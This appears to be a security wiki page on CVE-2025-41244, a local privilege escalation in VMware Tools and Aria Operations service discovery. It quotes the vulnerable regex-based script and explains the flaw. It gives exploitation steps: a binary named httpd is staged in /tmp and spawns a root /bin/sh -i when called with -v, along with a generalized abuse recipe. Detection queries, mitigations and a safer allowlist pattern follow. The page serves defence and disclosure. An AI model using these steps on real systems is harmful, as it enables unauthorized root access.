VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
This technique abuses regex-driven service discovery pipelines that parse running process command lines to infer service versions and then execute a candidate binary with a “version” flag. When permissive patterns accept untrusted, attacker-controlled paths (e.g., /tmp/httpd), the privileged collector executes an arbitrary binary from an untrusted location, yielding local privilege escalation. NVISO documented this in VMware Tools/Aria Operations Service Discovery as CVE-2025-41244.[1][2]
- Impact: Local privilege escalation to root (or to the privileged discovery account).[1][2]
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines.[1][3][5]
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy).[1][2]
How VMware service discovery works (high level)
- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials.[1]
- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest.[1]
Both modes ultimately run shell logic that scans processes with listening sockets, extracts a matching command path via a regex, and executes the first argv token with a version flag.[1][3]
Root cause and vulnerable pattern (open-vm-tools)
In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation.[1][3]
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
It is invoked with permissive patterns containing \S (non-whitespace) that will happily match non-system paths in user-writable locations.[1][3]
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
- Extraction uses grep -Eo and takes the first token: ${COMMAND%%[[:space:]]*}.[1][3]
- No whitelist/allowlist of trusted system paths; any discovered listener with a matching name is executed with -v/—version.[1][3]
This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.[1]
Exploitation (both credential-less and credential-based modes)
Preconditions
- You can run an unprivileged process that opens a listening socket on the guest.[1]
- The discovery job is enabled and runs periodically (historically ~5 minutes).[1]
Steps
- Stage a binary in a path matching one of the permissive regexes, e.g. /tmp/httpd or ./nginx.[1]
- Run it as a low-privileged user and ensure it opens any listening socket.[1]
- Wait for the discovery cycle; the privileged collector will automatically execute: /tmp/httpd -v (or similar), running your program as root.[1]
Minimal demo (using NVISO’s approach).[1]
# Build any small helper that:
# - default mode: opens a dummy TCP listener
# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
# Example staging and trigger
cp your_helper /tmp/httpd
chmod +x /tmp/httpd
/tmp/httpd # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action
Typical process lineage.[1]
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-…/script_…sh -> /tmp/httpd -v -> /bin/sh -i
- Credential-less: /bin/sh …/get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
Artifacts (credential-based) Recovered SDMP wrapper scripts under /tmp/VMware-SDMP-Scripts-{UUID}/ may show direct execution of the rogue path.[1]
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
Generalizing the technique: regex-driven discovery abuse (portable pattern)
Many agents and monitoring suites implement version/service discovery by:
- Enumerating processes with listening sockets
- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
- Executing the matched path with a benign flag like -v, —version, -V, -h
If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution.[5]
Abuse recipe for these patterns.[1]
- Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver
- Place it in a writable directory: /tmp/httpd, ./nginx
- Ensure it matches the regex and opens any port to be enumerated
- Wait for the scheduled collector; you get an automatic privileged invocation of
-v
Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.[4]
Reusable privileged I/O relay trick
- Build your helper so that on privileged invocation (-v/—version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag.[1]
Detection and DFIR guidance
Hunting queries
- Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld.[1]
- Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%…} expansions).[1][3]
- ps -ef —forest to visualize ancestry trees: vmtoolsd -> get-versions.sh ->
.[1]
On Aria SDMP (credential-based)
- Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths.[1]
Policy/telemetry
- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/
- File integrity monitoring on get-versions.sh and VMware Tools plugins
Mitigations
- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP).[2]
- Disable or restrict credential-less discovery where feasible.[1]
- Validate trusted paths: restrict execution to allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) and only exact known binaries
- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names.[1][3]
- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact
- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths.[1][3]
Notes for defenders and implementers
Safer matching and execution pattern
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
# Good: strict allowlist + path checks
candidate=$(get_command_line "$pid" | awk '{print $1}')
case "$candidate" in
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
"$candidate" -v 2>&1 ;;
*)
: # ignore non-allowlisted paths
;;
esac
References
- [1] NVISO – You name it, VMware elevates it (CVE-2025-41244)
- [2] VMSA-2025-0015.1 – VMware Aria Operations and VMware Tools updates address multiple vulnerabilities (CVE-2025-41244, CVE-2025-41245, CVE-2025-41246) (Broadcom)
- [3] open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)
- [4] MITRE ATT&CK T1036.005 – Match Legitimate Name or Location
- [5] CWE-426: Untrusted Search Path